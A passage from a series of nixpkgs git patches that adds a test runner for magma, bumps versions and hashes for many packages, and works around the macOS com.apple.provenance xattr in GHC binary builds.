+              esac
+            }
+
+            runTests() {
+              local -nr outputArray="$1"
+              local -i programExitCode=0
+              local file
+
+              # TODO: Collect and sort filenames prior to iterating so the order isn't dependent on the filesystem.
+              for file in "${magma.test}"/bin/*; do
+                if isIgnoredTest "$(basename "$file")"; then
+                  continue
+                fi
+
+                logWithDate "Starting $file"
+
+                # Since errexit is set, we need to reset programExitCode every iteration and use an OR
+                # to set it only when the test fails (which should not fail, avoiding tripping errexit).
+                programExitCode=0
+
+                # A number of test cases require an input <=128, so we set the range to include [128, 1024].
+                # Batch is kept small to keep tests fast.
+                "$file" --range 128:1024:896 --batch 32 || programExitCode=$?
+
+                logWithDate "Finished $file with exit code $programExitCode"
+
+                if ((programExitCode)); then
+                  outputArray+=("$file")
+                fi
+              done
+            }
+
+            main() {
+              local -a failedPrograms=()
+              runTests failedPrograms
+
+              if ((''${#failedPrograms[@]})); then
+                logWithDate "The following programs had non-zero exit codes:"
+                for file in "''${failedPrograms[@]}"; do
+                  # Using echo to avoid printing the date
+                  echo "- $file"
+                done
+                logWithDate "Exiting with code 1 because at least one test failed."
+                exit 1
+              fi
+
+              logWithDate "All tests passed!"
+              exit 0
+            }
+
+            main
+          '';
+          runtimeInputs = [ magma.test ];
+        };
+    };
+    tests = {
+      all =
+        runCommand "magma-tests-all"
+          {
+            __structuredAttrs = true;
+            strictDeps = true;
+            nativeBuildInputs = [ finalAttrs.passthru.testers.all ];
+            requiredSystemFeatures = lib.optionals cudaSupport [ "cuda" ];
+          }
+          ''
+            if magma-testers-all; then
+              touch "$out"
+            else
+              exit 1
+            fi
+          '';
+    };
   };
 
   meta = with lib; {
@@ -260,4 +399,4 @@ stdenv.mkDerivation {
       || (cudaSupport && strings.versionOlder version "2.7.1" && cudaPackages_11 == null)
       || (rocmSupport && strings.versionOlder version "2.8.0");
   };
-}
+})

From 70091390e6a59138b928b8589e2c68eb770a16da Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sun, 13 Jul 2025 21:54:51 +0000
Subject: [PATCH 2389/4511] synapse-admin-etkecc: 0.11.1-etke44 ->
 0.11.1-etke45

Changelog: https://github.com/etkecc/synapse-admin/releases/tag/v0.11.1-etke45
Diff: https://github.com/etkecc/synapse-admin/compare/v0.11.1-etke44...v0.11.1-etke45
(cherry picked from commit a26a3a4dad9a64d38302faf5a735b79eab0daac1)
---
 pkgs/by-name/sy/synapse-admin-etkecc/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
index f9b32eb054cb..4bb6743d2470 100644
--- a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
+++ b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
@@ -17,18 +17,18 @@ assert lib.asserts.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "synapse-admin-etkecc";
-  version = "0.11.1-etke44";
+  version = "0.11.1-etke45";
 
   src = fetchFromGitHub {
     owner = "etkecc";
     repo = "synapse-admin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-8IL81rMohPNss0ZTKgyxvx4FNcgFtDoJGZ6uyM/nJgg=";
+    hash = "sha256-LlwNVlgZl5O9paEGem68FbzAPOfXlLTxZ865vR7qPR8=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = finalAttrs.src + "/yarn.lock";
-    hash = "sha256-6TVVYitLtpNjyMOUXaMYlhOskSZCb/eWW91S69RTeFo=";
+    hash = "sha256-7eSQQdcJkBIbG/0cj0uh02Day+4ph6LMQGIaMPqjpdk=";
   };
 
   nativeBuildInputs = [

From 315ee6421f23f02eacbd296d7bfa7b943e3932b4 Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Sun, 13 Jul 2025 22:49:22 +0200
Subject: [PATCH 2390/4511] mobilizon: 5.1.4 -> 5.1.5

Changelog: https://framagit.org/kaihuri/mobilizon/-/releases/5.1.5
(cherry picked from commit b46d1b31715b10daad02ed40cf4ceb42bb36bfb8)
---
 pkgs/servers/mobilizon/common.nix   |  4 ++--
 pkgs/servers/mobilizon/default.nix  | 10 +++++-----
 pkgs/servers/mobilizon/frontend.nix |  2 +-
 3 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/servers/mobilizon/common.nix b/pkgs/servers/mobilizon/common.nix
index 813dcb1da927..15dd8337a01c 100644
--- a/pkgs/servers/mobilizon/common.nix
+++ b/pkgs/servers/mobilizon/common.nix
@@ -2,13 +2,13 @@
 rec {
 
   pname = "mobilizon";
-  version = "5.1.4";
+  version = "5.1.5";
 
   src = fetchFromGitLab {
     domain = "framagit.org";
     owner = "kaihuri";
     repo = pname;
     tag = version;
-    sha256 = "sha256-rtYb9wptP1wAaQrK60apjjSCqtfolXag6QgRYf6pwzQ=";
+    hash = "sha256-nwEmW43GO0Ta7O7mUSJaEtm4hBfXInPqatBRdaWrhBU=";
   };
 }
diff --git a/pkgs/servers/mobilizon/default.nix b/pkgs/servers/mobilizon/default.nix
index 61dd5c7f8dfa..0d88715bb0f2 100644
--- a/pkgs/servers/mobilizon/default.nix
+++ b/pkgs/servers/mobilizon/default.nix
@@ -46,7 +46,7 @@ mixRelease rec {
             owner = "elixir-cldr";
             repo = "cldr";
             rev = "v${old.version}";
-            sha256 =
+            hash =
               assert old.version == "2.37.5";
               "sha256-T5Qvuo+xPwpgBsqHNZYnTCA4loToeBn1LKTMsDcCdYs=";
           };
@@ -67,7 +67,7 @@ mixRelease rec {
             owner = "danhper";
             repo = "elixir-web-push-encryption";
             rev = "6e143dcde0a2854c4f0d72816b7ecab696432779";
-            sha256 = "sha256-Da+/28SPZuUQBi8fQj31zmMvhMrYUaQIW4U4E+mRtMg=";
+            hash = "sha256-Da+/28SPZuUQBi8fQj31zmMvhMrYUaQIW4U4E+mRtMg=";
           };
           beamDeps = with final; [
             httpoison
@@ -81,7 +81,7 @@ mixRelease rec {
             owner = "tcitworld";
             repo = name;
             rev = "1033d922c82a7223db0ec138e2316557b70ff49f";
-            sha256 = "sha256-N3bJZznNazLewHS4c2B7LP1lgxd1wev+EWVlQ7rOwfU=";
+            hash = "sha256-N3bJZznNazLewHS4c2B7LP1lgxd1wev+EWVlQ7rOwfU=";
           };
           beamDeps = with final; [
             mix_test_watch
@@ -96,7 +96,7 @@ mixRelease rec {
             owner = "tcitworld";
             repo = name;
             rev = "0c036448e261e8be6a512581c592fadf48982d84";
-            sha256 = "sha256-4pfply1vTAIT2Xvm3kONmrCK05xKfXFvcb8EKoSCXBE=";
+            hash = "sha256-4pfply1vTAIT2Xvm3kONmrCK05xKfXFvcb8EKoSCXBE=";
           };
           beamDeps = with final; [
             ex_doc
@@ -114,7 +114,7 @@ mixRelease rec {
             owner = "tcitworld";
             repo = name;
             rev = "8b5485fde00fafbde20f315bec387a77f7358334";
-            sha256 = "sha256-ttgCWoBKU7VTjZJBhZNtqVF4kN7psBr/qOeR65MbTqw=";
+            hash = "sha256-ttgCWoBKU7VTjZJBhZNtqVF4kN7psBr/qOeR65MbTqw=";
           };
           beamDeps = with final; [
             httpoison
diff --git a/pkgs/servers/mobilizon/frontend.nix b/pkgs/servers/mobilizon/frontend.nix
index 23b83bc16d7f..8a5ca34f9a1f 100644
--- a/pkgs/servers/mobilizon/frontend.nix
+++ b/pkgs/servers/mobilizon/frontend.nix
@@ -11,7 +11,7 @@ in
 buildNpmPackage {
   inherit (common) pname version src;
 
-  npmDepsHash = "sha256-vf8qEXMZ+TGqKjDN7LjUyOm98EQqweW6NKdJuNoMuVc=";
+  npmDepsHash = "sha256-5ilhuFaIvksXsJmNu20m8MV3hYtyPUz4zp8NIvhR5Nw=";
 
   nativeBuildInputs = [ imagemagick ];
 

From 6ce2e4b5f11d08c2065eee290a0805813a6560b4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 20:18:19 +0000
Subject: [PATCH 2391/4511] necesse-server: 0.32.1-18336931 -> 0.33.0-19201409

(cherry picked from commit 3c118bcb879b97fadb020bfc475152d469268268)
---
 pkgs/by-name/ne/necesse-server/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/necesse-server/package.nix b/pkgs/by-name/ne/necesse-server/package.nix
index b01280747f8b..737582298805 100644
--- a/pkgs/by-name/ne/necesse-server/package.nix
+++ b/pkgs/by-name/ne/necesse-server/package.nix
@@ -6,7 +6,7 @@
 }:
 
 let
-  version = "0.32.1-18336931";
+  version = "0.33.0-19201409";
   urlVersion = lib.replaceStrings [ "." ] [ "-" ] version;
 
 in
@@ -16,7 +16,7 @@ stdenvNoCC.mkDerivation {
 
   src = fetchzip {
     url = "https://necessegame.com/content/server/${urlVersion}/necesse-server-linux64-${urlVersion}.zip";
-    hash = "sha256-vvTbwEcfpzLIWSjbkUqKBOyAsT2fFk27v9UB9V+fTfw=";
+    hash = "sha256-VpBWQ/Sl6uCRyR2WQYkZcIcSX89+AshHdRCqbKneqvM=";
   };
 
   # removing packaged jre since we use our own

From 03d17bbbd15e52f4ce8eb798082b166c100bacc8 Mon Sep 17 00:00:00 2001
From: Randy Eckenrode <randy@largeandhighquality.com>
Date: Thu, 10 Apr 2025 16:52:59 -0400
Subject: [PATCH 2392/4511] haskell.compiler.ghc*Binary: work around
 com.apple.provenance xattr

(cherry picked from commit 759f22430c78267e863e583c79dd2269b51d1e5c)
---
 pkgs/development/compilers/ghc/8.10.7-binary.nix | 9 +++++++++
 pkgs/development/compilers/ghc/8.6.5-binary.nix  | 9 +++++++++
 pkgs/development/compilers/ghc/9.2.4-binary.nix  | 9 +++++++++
 pkgs/development/compilers/ghc/9.6.3-binary.nix  | 9 +++++++++
 4 files changed, 36 insertions(+)

diff --git a/pkgs/development/compilers/ghc/8.10.7-binary.nix b/pkgs/development/compilers/ghc/8.10.7-binary.nix
index 9ad461fc03f4..ab5af374d158 100644
--- a/pkgs/development/compilers/ghc/8.10.7-binary.nix
+++ b/pkgs/development/compilers/ghc/8.10.7-binary.nix
@@ -393,6 +393,15 @@ stdenv.mkDerivation {
   # calls install-strip ...
   dontBuild = true;
 
+  # GHC tries to remove xattrs when installing to work around Gatekeeper
+  # (see https://gitlab.haskell.org/ghc/ghc/-/issues/17418). This step normally
+  # succeeds in nixpkgs because xattrs are not allowed in the store, but it
+  # can fail when a file has the `com.apple.provenance` xattr, and it can’t be
+  # modified (such as target of the symlink to `libiconv.dylib`).
+  # The `com.apple.provenance` xattr is a new feature of macOS as of macOS 13.
+  # See: https://eclecticlight.co/2023/03/13/ventura-has-changed-app-quarantine-with-a-new-xattr/
+  makeFlags = lib.optionals stdenv.buildPlatform.isDarwin [ "XATTR=/does-not-exist" ];
+
   # Patch scripts to include runtime dependencies in $PATH.
   postInstall = ''
     for i in "$out/bin/"*; do
diff --git a/pkgs/development/compilers/ghc/8.6.5-binary.nix b/pkgs/development/compilers/ghc/8.6.5-binary.nix
index 4ed8654a0bfa..82d7a11c7183 100644
--- a/pkgs/development/compilers/ghc/8.6.5-binary.nix
+++ b/pkgs/development/compilers/ghc/8.6.5-binary.nix
@@ -178,6 +178,15 @@ stdenv.mkDerivation rec {
   # calls install-strip ...
   dontBuild = true;
 
+  # GHC tries to remove xattrs when installing to work around Gatekeeper
+  # (see https://gitlab.haskell.org/ghc/ghc/-/issues/17418). This step normally
+  # succeeds in nixpkgs because xattrs are not allowed in the store, but it
+  # can fail when a file has the `com.apple.provenance` xattr, and it can’t be
+  # modified (such as target of the symlink to `libiconv.dylib`).
+  # The `com.apple.provenance` xattr is a new feature of macOS as of macOS 13.
+  # See: https://eclecticlight.co/2023/03/13/ventura-has-changed-app-quarantine-with-a-new-xattr/
+  makeFlags = lib.optionals stdenv.buildPlatform.isDarwin [ "XATTR=/does-not-exist" ];
+
   # Patch scripts to include runtime dependencies in $PATH.
   postInstall = ''
     for i in "$out/bin/"*; do
diff --git a/pkgs/development/compilers/ghc/9.2.4-binary.nix b/pkgs/development/compilers/ghc/9.2.4-binary.nix
index 6641deada776..9a48cd397628 100644
--- a/pkgs/development/compilers/ghc/9.2.4-binary.nix
+++ b/pkgs/development/compilers/ghc/9.2.4-binary.nix
@@ -347,6 +347,15 @@ stdenv.mkDerivation {
   # calls install-strip ...
   dontBuild = true;
 
+  # GHC tries to remove xattrs when installing to work around Gatekeeper
+  # (see https://gitlab.haskell.org/ghc/ghc/-/issues/17418). This step normally
+  # succeeds in nixpkgs because xattrs are not allowed in the store, but it
+  # can fail when a file has the `com.apple.provenance` xattr, and it can’t be
+  # modified (such as target of the symlink to `libiconv.dylib`).
+  # The `com.apple.provenance` xattr is a new feature of macOS as of macOS 13.
+  # See: https://eclecticlight.co/2023/03/13/ventura-has-changed-app-quarantine-with-a-new-xattr/
+  makeFlags = lib.optionals stdenv.buildPlatform.isDarwin [ "XATTR=/does-not-exist" ];
+
   # Patch scripts to include runtime dependencies in $PATH.
   postInstall = ''
     for i in "$out/bin/"*; do
diff --git a/pkgs/development/compilers/ghc/9.6.3-binary.nix b/pkgs/development/compilers/ghc/9.6.3-binary.nix
index ed9fb0a0e458..b84ff516c3ff 100644
--- a/pkgs/development/compilers/ghc/9.6.3-binary.nix
+++ b/pkgs/development/compilers/ghc/9.6.3-binary.nix
@@ -331,6 +331,15 @@ stdenv.mkDerivation {
   # calls install-strip ...
   dontBuild = true;
 
+  # GHC tries to remove xattrs when installing to work around Gatekeeper
+  # (see https://gitlab.haskell.org/ghc/ghc/-/issues/17418). This step normally
+  # succeeds in nixpkgs because xattrs are not allowed in the store, but it
+  # can fail when a file has the `com.apple.provenance` xattr, and it can’t be
+  # modified (such as target of the symlink to `libiconv.dylib`).
+  # The `com.apple.provenance` xattr is a new feature of macOS as of macOS 13.
+  # See: https://eclecticlight.co/2023/03/13/ventura-has-changed-app-quarantine-with-a-new-xattr/
+  makeFlags = lib.optionals stdenv.buildPlatform.isDarwin [ "XATTR=/does-not-exist" ];
+
   # Patch scripts to include runtime dependencies in $PATH.
   postInstall =
     ''

From 4efc1cf8126ba2111480afbf0976e1f7522660fd Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Tue, 1 Jul 2025 12:20:47 +0200
Subject: [PATCH 2393/4511] haskell.compiler.ghc902Binary: workaround
 com.apple.provenance xattr

See #413450.

(Ported from 759f22430c78267e863e583c79dd2269b51d1e5c.)

(cherry picked from commit d1779090326fc6bd6eddfc606dd177055a199863)
---
 pkgs/development/compilers/ghc/9.0.2-binary.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/development/compilers/ghc/9.0.2-binary.nix b/pkgs/development/compilers/ghc/9.0.2-binary.nix
index ba52a3253e77..ff70b4587eb3 100644
--- a/pkgs/development/compilers/ghc/9.0.2-binary.nix
+++ b/pkgs/development/compilers/ghc/9.0.2-binary.nix
@@ -353,6 +353,15 @@ stdenv.mkDerivation {
   # calls install-strip ...
   dontBuild = true;
 
+  # GHC tries to remove xattrs when installing to work around Gatekeeper
+  # (see https://gitlab.haskell.org/ghc/ghc/-/issues/17418). This step normally
+  # succeeds in nixpkgs because xattrs are not allowed in the store, but it
+  # can fail when a file has the `com.apple.provenance` xattr, and it can’t be
+  # modified (such as target of the symlink to `libiconv.dylib`).
+  # The `com.apple.provenance` xattr is a new feature of macOS as of macOS 13.
+  # See: https://eclecticlight.co/2023/03/13/ventura-has-changed-app-quarantine-with-a-new-xattr/
+  makeFlags = lib.optionals stdenv.buildPlatform.isDarwin [ "XATTR=/does-not-exist" ];
+
   # Patch scripts to include runtime dependencies in $PATH.
   postInstall =
     ''

From 1bec616df8d82ea55ca09ba6a2e3513ab8ab7db5 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Sat, 31 May 2025 23:38:29 +0800
Subject: [PATCH 2394/4511] xwayland-satellite: 0.5.1 -> 0.6

Diff: https://github.com/Supreeeme/xwayland-satellite/compare/v0.5.1...v0.6
Changelog: https://github.com/Supreeeme/xwayland-satellite/releases/tag/v0.6
(cherry picked from commit 5446ad302b58605f3a4e9c3fe588f8c3c082faf6)
---
 pkgs/by-name/xw/xwayland-satellite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/xw/xwayland-satellite/package.nix b/pkgs/by-name/xw/xwayland-satellite/package.nix
index c63af00aec55..58cb0297b115 100644
--- a/pkgs/by-name/xw/xwayland-satellite/package.nix
+++ b/pkgs/by-name/xw/xwayland-satellite/package.nix
@@ -13,13 +13,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "xwayland-satellite";
-  version = "0.5.1";
+  version = "0.6";
 
   src = fetchFromGitHub {
     owner = "Supreeeme";
     repo = "xwayland-satellite";
     tag = "v${version}";
-    hash = "sha256-/hBM43/Gd0/tW+egrhlWgOIISeJxEs2uAOIYVpfDKeU=";
+    hash = "sha256-IiLr1alzKFIy5tGGpDlabQbe6LV1c9ABvkH6T5WmyRI=";
   };
 
   postPatch = ''
@@ -28,7 +28,7 @@ rustPlatform.buildRustPackage rec {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-1tt7YNornw9U9FRdsRkdWx3Al3FZtvtCBXn9Pln+gk4=";
+  cargoHash = "sha256-R3xXyXpHQw/Vh5Y4vFUl7n7jwBEEqwUCIZGAf9+SY1M=";
 
   nativeBuildInputs = [
     makeBinaryWrapper

From b1a22568dc61e98e637db5f96fcbfa0f178127c5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 03:52:46 +0000
Subject: [PATCH 2395/4511] protonplus: 0.4.30 -> 0.4.32

(cherry picked from commit 4de8222b75098950fb3265cd103304fa7fd88023)
---
 pkgs/by-name/pr/protonplus/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/protonplus/package.nix b/pkgs/by-name/pr/protonplus/package.nix
index f77f888f9016..59bc821e8d45 100644
--- a/pkgs/by-name/pr/protonplus/package.nix
+++ b/pkgs/by-name/pr/protonplus/package.nix
@@ -20,13 +20,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "protonplus";
-  version = "0.4.31";
+  version = "0.4.32";
 
   src = fetchFromGitHub {
     owner = "Vysp3r";
     repo = "protonplus";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5UwgRvApKjMML5lx/UF7YHsXts4nQlg3GheAykN1f3E=";
+    hash = "sha256-5oabE5BR5PFDpxLu9Q9s0E18Aq45TQZA/+QFubfwiu0=";
   };
 
   nativeBuildInputs = [

From 8dae4295d09d0e781b369af001754a192b6f2ebd Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 15:07:02 +0000
Subject: [PATCH 2396/4511] sydbox: 3.35.1 -> 3.35.2

(cherry picked from commit 092f985e159fa253b0023cf779f82019875f62ec)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index 3a51a9ac6375..c35f55a3dc02 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.35.1";
+  version = "3.35.2";
 
   outputs = [
     "out"
@@ -24,11 +24,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-EfsL8UEZdWRYqQ5QymteUBxtabfrHxq3WU4MMqsXWAg=";
+    hash = "sha256-n3mvzYXb965eUWNJ5iHezqqAZj6v05gj092osYZuk5s=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-ckeOk4/fpJ9J8JV/NT0D/0jXUOt4ub+m+6ZBUpBEs08=";
+  cargoHash = "sha256-D0lUkiARl0QL2OsojaJqsACn2fmN9x8Jp7mZzyRjyWY=";
 
   nativeBuildInputs = [
     mandoc

From 87a8d6359f8474bd919bb22c804775efa8c99819 Mon Sep 17 00:00:00 2001
From: mksafavi <mksafavi@gmail.com>
Date: Sun, 29 Jun 2025 16:54:48 +0330
Subject: [PATCH 2397/4511] nix-fast-build: added bashInteractive as runtime
 dependency

(cherry picked from commit 88dd9182a347a9f7b9a45214f4280197b0f85797)
---
 pkgs/by-name/ni/nix-fast-build/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/ni/nix-fast-build/package.nix b/pkgs/by-name/ni/nix-fast-build/package.nix
index 0996d4a98b41..90ea52a3f504 100644
--- a/pkgs/by-name/ni/nix-fast-build/package.nix
+++ b/pkgs/by-name/ni/nix-fast-build/package.nix
@@ -6,6 +6,7 @@
   nix-eval-jobs,
   nix-output-monitor,
   nix-update-script,
+  bashInteractive,
 }:
 
 python3Packages.buildPythonApplication rec {
@@ -28,6 +29,7 @@ python3Packages.buildPythonApplication rec {
         [
           nix-eval-jobs
           nix-eval-jobs.nix
+          bashInteractive
         ]
         ++ lib.optional (lib.meta.availableOn stdenv.buildPlatform nix-output-monitor.compiler) nix-output-monitor
       )

From 3963c50cf96209b161a2b56b857ba9ede770a708 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Mon, 30 Jun 2025 10:03:53 +0200
Subject: [PATCH 2398/4511] ntpd-rs: 1.5.0 -> 1.6.0

(cherry picked from commit 1f73b45f6cfe0e335074a27f475a959ac51e5ba7)
---
 pkgs/by-name/nt/ntpd-rs/package.nix | 14 +++-----------
 1 file changed, 3 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/nt/ntpd-rs/package.nix b/pkgs/by-name/nt/ntpd-rs/package.nix
index 9836a34f8dc4..39b582ba5796 100644
--- a/pkgs/by-name/nt/ntpd-rs/package.nix
+++ b/pkgs/by-name/nt/ntpd-rs/package.nix
@@ -13,17 +13,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "ntpd-rs";
-  version = "1.5.0";
+  version = "1.6.0";
 
   src = fetchFromGitHub {
     owner = "pendulum-project";
     repo = "ntpd-rs";
     tag = "v${version}";
-    hash = "sha256-APQHxlsyUMA1N6FatQvotOokxNikOO22GGyXUMh3ABo=";
+    hash = "sha256-PX3vNrw/EM1d7/9JuxhfHG63dIULNUYWs0PGbOC7AcA=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-BiLYKOgmmqOesfl/8y4590Xo2Z4+u/Rn7CglNjQk2bU=";
+  cargoHash = "sha256-lBwhaoRdYOmfVSYKmeBbLp/D7cZ43z3CEnyt7sVVRlw=";
 
   nativeBuildInputs = [
     pandoc
@@ -39,14 +39,6 @@ rustPlatform.buildRustPackage rec {
     source utils/generate-man.sh
   '';
 
-  # lots of flaky tests
-  doCheck = false;
-
-  checkFlags = [
-    # doesn't find the testca
-    "--skip=daemon::keyexchange::tests"
-  ];
-
   postInstall = ''
     install -Dm444 -t $out/lib/systemd/system docs/examples/conf/{ntpd-rs,ntpd-rs-metrics}.service
     installManPage docs/precompiled/man/{ntp.toml.5,ntp-ctl.8,ntp-daemon.8,ntp-metrics-exporter.8}

From 71fa3cffcdbb3918339be5c3c70481268dd73132 Mon Sep 17 00:00:00 2001
From: Tom Hunze <dev@thunze.de>
Date: Thu, 3 Jul 2025 18:11:04 +0200
Subject: [PATCH 2399/4511] turbo: add shell completions

(cherry picked from commit 5b6c39281b689bc1db7d6b32bcef70bff44aacda)
---
 pkgs/by-name/tu/turbo-unwrapped/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/tu/turbo-unwrapped/package.nix b/pkgs/by-name/tu/turbo-unwrapped/package.nix
index c5695c873460..d292358f1dd0 100644
--- a/pkgs/by-name/tu/turbo-unwrapped/package.nix
+++ b/pkgs/by-name/tu/turbo-unwrapped/package.nix
@@ -5,6 +5,7 @@
   extra-cmake-modules,
   fetchFromGitHub,
   fontconfig,
+  installShellFiles,
   llvmPackages,
   nix-update-script,
   openssl,
@@ -33,6 +34,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     [
       capnproto
       extra-cmake-modules
+      installShellFiles
       pkg-config
       protobuf
     ]
@@ -54,6 +56,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # Browser tests time out with chromium and google-chrome
   doCheck = false;
 
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd turbo \
+      --bash <($out/bin/turbo completion bash) \
+      --fish <($out/bin/turbo completion fish) \
+      --zsh <($out/bin/turbo completion zsh)
+  '';
+
   env = {
     # nightly features are used
     RUSTC_BOOTSTRAP = 1;

From ecf1f149e296d1837087aa875e12736ee96d8d73 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Sat, 5 Jul 2025 09:29:50 +0200
Subject: [PATCH 2400/4511] komikku: 1.80.0 -> 1.81.0

(cherry picked from commit 5e180e4733252cbd76d973c1e1eb5050e52c0e7d)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index d753afe7a57b..bbfffa359945 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.80.0";
+  version = "1.81.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-5+AosFjxaqhIoIz+mbin1oRdjuGj+p117aoHLxYqHDA=";
+    hash = "sha256-k64bcJLKFUMy60a5zj740Pk3lGZ6vKaAv5HOHfoW9p4=";
   };
 
   nativeBuildInputs = [

From dc0b468d45aa8273d654dc1bd8c2a44a41a9ebfb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 14:01:43 +0000
Subject: [PATCH 2401/4511] riffdiff: 3.3.10 -> 3.4.0

(cherry picked from commit 4597f717c9c8f45809003b24800ba0bdd5f86379)
---
 pkgs/by-name/ri/riffdiff/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ri/riffdiff/package.nix b/pkgs/by-name/ri/riffdiff/package.nix
index d6af268c0c79..18bfd3892d4f 100644
--- a/pkgs/by-name/ri/riffdiff/package.nix
+++ b/pkgs/by-name/ri/riffdiff/package.nix
@@ -9,17 +9,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "riffdiff";
-  version = "3.3.10";
+  version = "3.4.0";
 
   src = fetchFromGitHub {
     owner = "walles";
     repo = "riff";
     tag = version;
-    hash = "sha256-5HxQF8PVDonWpmxHEFT4zWZTWzzn50UzBU1z0ahuaGM=";
+    hash = "sha256-b2Jgj/QABRd6BN3PhTEK6pid74oRknx0/CUg2UfQWS8=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-8O4ZLKaQajrvNp7tH8iuVRPriuIIdesBmuv5MXyTafA=";
+  cargoHash = "sha256-Pt+SL3R28Gr54hgN3jZ1ZaH3L4JKEZz7hhtuX45P3IY=";
 
   passthru = {
     tests.version = testers.testVersion { package = riffdiff; };

From 4884a17f5084aa4ba070293d3870d14efe08aae3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 11:04:15 +0000
Subject: [PATCH 2402/4511] cargo-tauri: 2.5.0 -> 2.6.2

(cherry picked from commit 147ccdb97545c97f7830ff552d0208a59099bd9a)
---
 pkgs/by-name/ca/cargo-tauri/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ca/cargo-tauri/package.nix b/pkgs/by-name/ca/cargo-tauri/package.nix
index 9be1ca1e89ee..42f9aeec2039 100644
--- a/pkgs/by-name/ca/cargo-tauri/package.nix
+++ b/pkgs/by-name/ca/cargo-tauri/package.nix
@@ -13,17 +13,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tauri";
-  version = "2.5.0";
+  version = "2.6.2";
 
   src = fetchFromGitHub {
     owner = "tauri-apps";
     repo = "tauri";
     tag = "tauri-cli-v${version}";
-    hash = "sha256-ut5Etn5yf4X3NvFa5JCRH2sQGnC/xzaRhALoyxdjy2k=";
+    hash = "sha256-QdboIHbRKC/0k6FGKDuCA7AR3eIa7KVij3fGekD9kNk=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-1YLpK2frSmdCj5aksuZhnHkAZdwHX/ZuVKXyqVJel/s=";
+  cargoHash = "sha256-GFqUQLLURfm6sRpf4MwAp89aKpTwWIlxk3NNRf9QgC0=";
 
   nativeBuildInputs = [ pkg-config ];
 

From ce7c2defe59c39aec953ba9fe1f15798aea61e8c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 05:53:54 +0000
Subject: [PATCH 2403/4511] refine: 0.5.9 -> 0.5.10

(cherry picked from commit 918fd140e0b3decd3f2365183c02dd977bab4e08)
---
